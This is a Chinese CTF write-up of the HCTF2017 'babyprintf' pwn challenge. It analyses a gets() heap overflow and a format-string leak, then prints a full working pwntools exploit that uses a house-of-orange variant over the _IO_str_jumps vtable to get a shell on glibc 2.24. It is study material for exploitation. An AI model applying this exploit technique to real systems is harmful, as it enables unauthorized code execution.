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309 lines
12 KiB
Markdown
309 lines
12 KiB
Markdown
# 6.1.25 pwn HCTF2017 babyprintf
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- [题目复现](#题目复现)
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- [题目解析](#题目解析)
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- [漏洞利用](#漏洞利用)
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- [参考资料](#参考资料)
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[下载文件](../src/writeup/6.1.25_pwn_hctf2017_babyprintf)
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## 题目复现
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```text
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$ file babyprintf
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babyprintf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5652f65b98094d8ab456eb0a54d37d9b09b4f3f6, stripped
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$ checksec -f babyprintf
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RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
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Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 1 2 babyprintf
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$ strings libc-2.24.so | grep "GNU C"
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GNU C Library (Ubuntu GLIBC 2.24-9ubuntu2.2) stable release version 2.24, by Roland McGrath et al.
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Compiled by GNU CC version 6.3.0 20170406.
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```
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64 位程序，开启了 canary 和 NX，默认开启 ASLR。
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在 Ubuntu16.10 上玩一下：
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```text
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./babyprintf
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size: 0
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string: AAAA
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result: AAAAsize: 10
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string: %p.%p.%p.%p
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result: 0x7ffff7dd4720.(nil).0x7ffff7fb7500.0x7ffff7dd4720size: -1
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too long
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```
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真是个神奇的 "printf" 实现。首先 size 的值对 string 的输入似乎并没有什么影响；然后似乎是直接打印 string，而没有考虑格式化字符串的问题；最后程序应该是对 size 做了大小上的检查，而且是无符号数。
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## 题目解析
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### main
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```text
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[0x00400850]> pdf @ main
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;-- section..text:
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/ (fcn) main 130
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| main ();
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| ; DATA XREF from 0x0040086d (entry0)
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| 0x004007c0 push rbx ; [14] -r-x section size 706 named .text
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| 0x004007c1 xor eax, eax
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| 0x004007c3 call sub.setbuf_950 ; void setbuf(FILE *stream,
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| ,=< 0x004007c8 jmp 0x400815
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| 0x004007ca nop word [rax + rax]
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| | ; CODE XREF from 0x00400832 (main)
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| .--> 0x004007d0 mov edi, eax
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| :| 0x004007d2 call sym.imp.malloc ; rax = malloc(size) 分配堆空间
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| :| 0x004007d7 mov esi, str.string: ; 0x400aa4 ; "string: "
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| :| 0x004007dc mov rbx, rax
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| :| 0x004007df mov edi, 1
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| :| 0x004007e4 xor eax, eax
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| :| 0x004007e6 call sym.imp.__printf_chk
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| :| 0x004007eb mov rdi, rbx ; rdi = rbx == rax
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| :| 0x004007ee xor eax, eax
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| :| 0x004007f0 call sym.imp.gets ; 调用 gets 读入字符串
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| :| 0x004007f5 mov esi, str.result: ; 0x400aad ; "result: "
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| :| 0x004007fa mov edi, 1
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| :| 0x004007ff xor eax, eax
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| :| 0x00400801 call sym.imp.__printf_chk
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| :| 0x00400806 mov rsi, rbx ; rsi = rbx == rax
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| :| 0x00400809 mov edi, 1
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| :| 0x0040080e xor eax, eax
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| :| 0x00400810 call sym.imp.__printf_chk ; 调用 __printf_chk 打印字符串
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| :| ; CODE XREF from 0x004007c8 (main)
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| :`-> 0x00400815 mov esi, str.size: ; 0x400a94 ; "size: "
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| : 0x0040081a mov edi, 1
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| : 0x0040081f xor eax, eax
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| : 0x00400821 call sym.imp.__printf_chk
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| : 0x00400826 xor eax, eax
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| : 0x00400828 call sub._IO_getc_990 ; 读入 size
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| : 0x0040082d cmp eax, 0x1000
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| `==< 0x00400832 jbe 0x4007d0 ; size 小于等于 0x1000 时跳转
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| 0x00400834 mov edi, str.too_long ; 0x400a9b ; "too long"
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| 0x00400839 call sym.imp.puts ; int puts(const char *s)
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| 0x0040083e mov edi, 1
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\ 0x00400843 call sym.imp.exit ; void exit(int status)
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```
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整个程序非常简单，首先分配 size 大小的空间，然后在这里读入字符串，由于使用 `gets()` 函数，可能会导致堆溢出。然后直接调用 `__printf_chk()` 打印这个字符串，可能会导致栈信息泄露。
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这里需要注意的是 `__printf_chk()` 函数，由于程序开启了 `FORTIFY` 机制，所以程序在编译时所有的 `printf()` 都被 `__printf_chk()` 替换掉了。区别有两点：
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- 不能使用 `%x$n` 不连续地打印，也就是说如果要使用 `%3$n`，则必须同时使用 `%1$n` 和 `%2$n`。
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- 在使用 `%n` 的时候会做一些检查。
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## 漏洞利用
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所以这题应该不止是利用格式化字符串，其实是 house-of-orange 的升级版。由于 libc-2.24 中加入了对 vtable 指针的检查，原先的 house-of-arange 已经不可用了。然后新的利用技术又出现了，即一个叫做 `_IO_str_jumps` 的 vtable 里的 `_IO_str_overflow` 虚表函数（参考章节 4.13）。
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### overwrite top chunk
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```python
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def overwrite_top():
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payload = "A" * 16
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payload += p64(0) + p64(0xfe1) # top chunk header
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prf(0x10, payload)
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```
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为了能将 top chunk 释放到 unrosted bin 中，首先覆写 top chunk 的 size 字段：
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```text
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gdb-peda$ x/8gx 0x602010-0x10
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0x602000: 0x0000000000000000 0x0000000000000021
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0x602010: 0x4141414141414141 0x4141414141414141
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0x602020: 0x0000000000000000 0x0000000000000fe1 <-- top chunk
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0x602030: 0x0000000000000000 0x0000000000000000
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```
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### leak libc
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```python
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def leak_libc():
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global libc_base
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prf(0x1000, '%p%p%p%p%p%pA') # _int_free in sysmalloc
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libc_start_main = int(io.recvuntil("A", drop=True)[-12:], 16) - 241
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libc_base = libc_start_main - libc.symbols['__libc_start_main']
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log.info("libc_base address: 0x%x" % libc_base)
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```
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然后利用格式化字符串来泄露 libc 的地址，此时的 top chunk 也已经放到 unsorted bin 中了：
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```text
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gdb-peda$ x/10gx 0x602010-0x10
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0x602000: 0x0000000000000000 0x0000000000000021
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0x602010: 0x4141414141414141 0x4141414141414141
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0x602020: 0x0000000000000000 0x0000000000000fc1 <-- old top chunk
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0x602030: 0x00007ffff7dd1b58 0x00007ffff7dd1b58
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0x602040: 0x0000000000000000 0x0000000000000000
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gdb-peda$ x/6gx 0x623010-0x10
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0x623000: 0x0000000000000000 0x0000000000001011
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0x623010: 0x7025702570257025 0x0000004170257025 <-- format string
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0x623020: 0x0000000000000000 0x0000000000000000
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gdb-peda$ x/4gx 0x623000+0x1010
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0x624010: 0x0000000000000000 0x0000000000020ff1 <-- new top chunk
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0x624020: 0x0000000000000000 0x0000000000000000
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```
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### house of orange
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```python
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def house_of_orange():
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io_list_all = libc_base + libc.symbols['_IO_list_all']
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system_addr = libc_base + libc.symbols['system']
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bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
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vtable_addr = libc_base + 0x3be4c0 # _IO_str_jumps
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log.info("_IO_list_all address: 0x%x" % io_list_all)
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log.info("system address: 0x%x" % system_addr)
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log.info("/bin/sh address: 0x%x" % bin_sh_addr)
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log.info("vtable address: 0x%x" % vtable_addr)
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stream = p64(0) + p64(0x61) # fake header # fp
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stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer
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stream += p64(0) # fp->_IO_write_base
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stream += p64(0xffffffff) # fp->_IO_write_ptr
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stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base
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stream += p64((bin_sh_addr - 100) / 2) # fp->_IO_buf_end
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stream = stream.ljust(0xc0, '\x00')
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stream += p64(0) # fp->_mode
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payload = "A" * 0x10
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payload += stream
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payload += p64(0) * 2
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payload += p64(vtable_addr) # _IO_FILE_plus->vtable
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payload += p64(system_addr)
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prf(0x10, payload)
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```
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改进版的 house-of-orange，详细你已经看了参考章节，这里就不再重复了，内存布局如下：
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```text
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gdb-peda$ x/40gx 0x602010-0x10
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0x602000: 0x0000000000000000 0x0000000000000021
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0x602010: 0x4141414141414141 0x4141414141414141
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0x602020: 0x0000000000000000 0x0000000000000021
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0x602030: 0x4141414141414141 0x4141414141414141
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0x602040: 0x0000000000000000 0x0000000000000061 <-- _IO_FILE_plus
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0x602050: 0x0000000000000000 0x00007ffff7dd24f0
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0x602060: 0x0000000000000000 0x7fffffffffffffff
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0x602070: 0x0000000000000000 0x0000000000000000
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0x602080: 0x00003ffffbdcd5ee 0x0000000000000000
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0x602090: 0x0000000000000000 0x0000000000000000
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0x6020a0: 0x0000000000000000 0x0000000000000000
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0x6020b0: 0x0000000000000000 0x0000000000000000
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0x6020c0: 0x0000000000000000 0x0000000000000000
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0x6020d0: 0x0000000000000000 0x0000000000000000
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0x6020e0: 0x0000000000000000 0x0000000000000000
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0x6020f0: 0x0000000000000000 0x0000000000000000
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0x602100: 0x0000000000000000 0x0000000000000000
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0x602110: 0x0000000000000000 0x00007ffff7dce4c0 <-- vtable
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0x602120: 0x00007ffff7a556a0 0x0000000000000000 <-- system
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0x602130: 0x0000000000000000 0x0000000000000000
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gdb-peda$ x/gx 0x00007ffff7dce4c0 + 0x18
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0x7ffff7dce4d8: 0x00007ffff7a8f2b0 <-- __overflow
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```
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### pwn
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```python
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def pwn():
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io.sendline("0") # abort routine
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io.interactive()
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```
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最后触发异常处理，`malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_overflow`，获得 shell。
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开启 ASLR，Bingo!!!
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```text
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$ python exp.py
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[+] Starting local process './babyprintf': pid 8307
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[*] libc_base address: 0x7f40dc2ca000
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[*] _IO_list_all address: 0x7f40dc68c500
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[*] system address: 0x7f40dc30f6a0
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[*] /bin/sh address: 0x7f40dc454c40
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[*] vtable address: 0x7f40dc6884c0
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[*] Switching to interactive mode
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result: AAAAAAAAAAAAAAAAsize: *** Error in `./babyprintf': malloc(): memory corruption: 0x00007f40dc68c500 ***
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======= Backtrace: =========
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...
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$ whoami
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firmy
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```
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### exploit
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完整 exp 如下：
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```python
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#!/usr/bin/env python
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from pwn import *
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#context.log_level = 'debug'
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io = process(['./babyprintf'], env={'LD_PRELOAD':'./libc-2.24.so'})
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libc = ELF('libc-2.24.so')
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def prf(size, string):
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io.sendlineafter("size: ", str(size))
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io.sendlineafter("string: ", string)
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def overwrite_top():
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payload = "A" * 16
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payload += p64(0) + p64(0xfe1) # top chunk header
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prf(0x10, payload)
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def leak_libc():
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global libc_base
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prf(0x1000, '%p%p%p%p%p%pA') # _int_free in sysmalloc
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libc_start_main = int(io.recvuntil("A", drop=True)[-12:], 16) - 241
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libc_base = libc_start_main - libc.symbols['__libc_start_main']
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log.info("libc_base address: 0x%x" % libc_base)
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def house_of_orange():
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io_list_all = libc_base + libc.symbols['_IO_list_all']
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system_addr = libc_base + libc.symbols['system']
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bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
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vtable_addr = libc_base + 0x3be4c0 # _IO_str_jumps
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log.info("_IO_list_all address: 0x%x" % io_list_all)
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log.info("system address: 0x%x" % system_addr)
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log.info("/bin/sh address: 0x%x" % bin_sh_addr)
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log.info("vtable address: 0x%x" % vtable_addr)
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stream = p64(0) + p64(0x61) # fake header # fp
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stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer
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stream += p64(0) # fp->_IO_write_base
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stream += p64(0xffffffff) # fp->_IO_write_ptr
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stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base
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stream += p64((bin_sh_addr - 100) / 2) # fp->_IO_buf_end
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stream = stream.ljust(0xc0, '\x00')
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stream += p64(0) # fp->_mode
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payload = "A" * 0x10
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payload += stream
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payload += p64(0) * 2
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payload += p64(vtable_addr) # _IO_FILE_plus->vtable
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payload += p64(system_addr)
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prf(0x10, payload)
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def pwn():
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io.sendline("0") # abort routine
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io.interactive()
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if __name__ == '__main__':
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overwrite_top()
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leak_libc()
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house_of_orange()
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pwn()
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```
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## 参考资料
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- <https://github.com/spineee/hctf/tree/master/2017/babyprintf>
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